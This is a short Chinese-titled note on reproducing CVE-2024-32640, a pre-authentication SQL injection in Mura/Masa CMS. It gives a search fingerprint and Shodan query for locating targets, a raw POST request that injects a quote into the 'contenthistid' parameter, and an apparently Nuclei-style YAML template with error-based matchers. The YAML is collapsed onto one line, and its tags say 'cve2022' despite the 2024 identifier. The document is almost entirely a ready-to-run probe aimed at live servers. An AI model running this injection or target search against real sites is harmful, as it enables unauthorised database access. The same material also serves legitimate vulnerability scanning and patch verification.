CVE-2024-32640漏洞复现

"Generator: Masa CMS"

POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1Host: {{Hostname}}Content-Type: application/x-www-form-urlencodedobject=displayregion&contenthistid=x'&previewid=1

id: CVE-2024-32640info:  name: Mura/Masa CMS - SQL Injection  author: iamnoooob,rootxharsh,pdresearch  severity: critical  description: |    The Mura/Masa CMS is vulnerable to SQL Injection.  reference:    - https://blog.projectdiscovery.io/mura-masa-cms-pre-auth-sql-injection/    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-32640  impact: |    Successful exploitation could lead to unauthorized access to sensitive data.  remediation: |    Apply the vendor-supplied patch or update to a secure version.  metadata:    verified: true    max-request: 3    vendor: masacms    product: masacms    shodan-query: 'Generator: Masa CMS'  tags: cve,cve2022,sqli,cms,masa,masacmshttp:  - raw:      - |        POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1        Host: {{Hostname}}        Content-Type: application/x-www-form-urlencoded        object=displayregion&contenthistid=x'&previewid=1    matchers:      - type: dsl        dsl:          - 'status_code == 500'          - 'contains(header, "application/json")'          - 'contains_all(body, "Unhandled Exception")'          - 'contains_all(header,"cfid","cftoken")'        condition: and